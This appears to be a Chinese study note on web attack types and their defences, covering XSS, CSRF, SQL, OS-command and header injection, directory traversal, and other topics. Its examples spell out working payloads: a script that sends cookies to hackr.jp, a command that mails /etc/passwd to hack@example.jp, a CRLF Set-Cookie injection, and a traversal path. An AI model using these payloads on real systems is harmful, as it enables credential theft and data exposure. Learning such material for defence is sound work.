Web 攻击
web 攻击
基础
不可信的客户端
- 客户端可以自由变更和篡改 HTTP 请求;
- 服务器将一切来自客户端的请求视为不可信的请求;
攻击模式
- 主动攻击;
- 攻击者主动访问 Web 应用,传入攻击代码;
- SQL 注入;
- OS 命令注入;
- 攻击者主动访问 Web 应用,传入攻击代码;
- 被动攻击;
- 攻击者设置陷阱代码,诱导用户触发,用户作为跳板进行攻击;
- XSS;
- CSRF;
- 攻击者设置陷阱代码,诱导用户触发,用户作为跳板进行攻击;
防御策略
- 客户端验证:作为 UI 提示,不可信;
- 服务器验证;
- 输入值验证:验证请求参数是否合规;
- 输入值转义:将请求参数进行转义,避免攻击代码;
- 浏览器和服务器的各种安全策略;
跨站攻击脚本 (XSS)
跨站攻击脚本
- 被动攻击;
- 攻击者预先设置陷阱代码,诱导用户访问;
- 攻击者通过运行非法的 HTML 或 JS 进行攻击;
- 目的是盗取用户信息;
# URL 非法导入 js 脚本
# 用户一旦点击该 URL, 发送自身 cookie 至指定网站
http://example.jp/login?ID="><script src=http://hackr.jp/xss.js></script>"
# xss.js
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
攻击类型
- 存储型;
- 攻击者将攻击代码提交到目标网站服务器;
- 用户访问目标网站,服务器从服务器返回攻击代码,拼接在 HTML 中;
- 用户解析 HTML 并执行其中的攻击代码;
- 反射型;
- 攻击者构造特殊的 URL;
- 用户访问 URL,服务器从 URL 提取攻击代码,拼接在 HTML 中;
- 用户解析 HTML 并执行其中的攻击代码;
- DOM 型;
- 攻击者构造特殊 URL;
- 用户访问 URL,用户浏览器解析 URL ,并执行其中的攻击代码;
防范措施
- 用户输入输出进行转义和验证;
- 使用 CSP 技术;
- cookie httpOnly 字段;
跨站点请求伪造 (CSRF)
CSRF
- 被动攻击;
- 攻击者设置陷阱代码,诱导用户访问第三方网站;
- 第三方网站利用用户权限,作为跳板向被攻击网站发送跨站请求;
- 被攻击网站误认为合法用户的合法请求,执行对应非法操作;
防范
- 验证请求来源:基于 Refer 或者同源策略;
- 使用 token;
- 服务器基于随机生成的 token 验证用户身份;
- CSRF 难以获取 token 的执行逻辑,无法携带正确 token,进而被服务器识别并拒绝;
- 验证码:敏感操作进行验证码验证;
- cookie SameSite 字段;
CSRF 和 XSS 的区别
- XSS 攻击对象为用户,目的为获取用户敏感信息;
- CSRF 攻击对象为应用程序,伪造用户身份执行非法操作;
注入攻击
sql 注入攻击
- 服务器拼接 sql 存在漏洞;
- 攻击者构造非法 sql;
- 非法访问服务器资源;
# 正常情况
http://example.com/search?q= 上野宣
SELECT * FROM bookTbl WHERE author = ' 上野宣 ' and flag = 1;
# 构造非法 sql
# 访问到不应该访问的权限
http://example.com/search?q= 上野宣 ' --
SELECT * FROM bookTbl WHERE author =' 上野宣 ' - -' and flag=1;
os 命令注入攻击
- 服务器执行系统命令存在漏洞;
- 攻击者构造非法命令;
# 服务器调用命令行穿在安全漏洞
my $adr = $q->param('mailaddress');
open(MAIL, "¦ /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";
# 攻击者构造非法
; cat /etc/passwd ¦ mail hack@example.jp
# 系统执行命令
# ; 视为命令之间的分隔符, 导致非法执行 cat 之后的命令
¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp
HTTP 首部注入攻击
- 被动攻击;
- 攻击者在首部字段插入换行符;
- 添加任意首部或主体;
# 通过 %0D%0A 换行符, 非法插入 Set-Cookie
%0D%0ASet-Cookie:+SID=123456789
# 通过 %0D%0A 换行符, 非法插入任意 HTML 网页
%0D%0A%0D%0A<HTML><HEAD><TITLE> 之后,想要显示的网页内容 <!--
邮件首部注入攻击
- 被动攻击;
- 通过邮件首部插入换行符;
- 发送给任意对象或添加非法内容;
# 通过 %0D%0A%0D%0A 改写任意邮件首部
bob@hackr.jp%0D%0A%0D%0ATest Message
目录遍历攻击
- 主动攻击;
- 通过分析 URL,猜测文件目录;
- 通过相对路径定位符或文件名访问非公开文件;
# ../../etc/passwd 访问上级文件夹中的 etc 文件
http://example.com/read.php?log=../../etc/passwd
远程文件包含漏洞
- 主动攻击;
- 服务器脚本使用外界 URL;
- 攻击者制作陷阱 URL,诱导服务器执行;
- 常见于 php;
设计缺陷
强制浏览漏洞
强制浏览
- 强行访问非公开文件;
造成原因
- 基于 URL 推测出文件名;
- 使用软件默认文件名;
- 访问资源未进行权限控制;
不正确的错误消息
- 通过分析 web 应用返回的错误消息得到相关信息;
- 返回编程语言,数据库,服务器等的默认报错信息,保留大量服务器信息;
开放重定向
- 网站开放重定向功能;
- 若重定向 URL 为恶意网站,gg;
其他安全漏洞
密码破解
- 穷举;
- 字典攻击;
- 彩虹表:预先生成散列值表;
点击劫持 (Clickjacking)
- 将 UI 透明,覆盖到 Web 页面上;
- 诱导用户点击对应 UI,执行非法操作;
后门程序
- 设置程序隐藏入口;
- 通过非正常操作执行首先功能;
中间人攻击
中间人攻击
- MITM;
- 攻击者在两个终端之间插入自己的设备或程序;
- 假扮身份与另一个终端通信;
- 从而窃取数据或操纵通信内容;
防范措施
- 使用 HTTPS,SSL/TLS 协议;
- 避免使用公共网络;
- 更新安全硬件,软件,防火墙,策略;
- 避免使用未知连接,邮件,程序;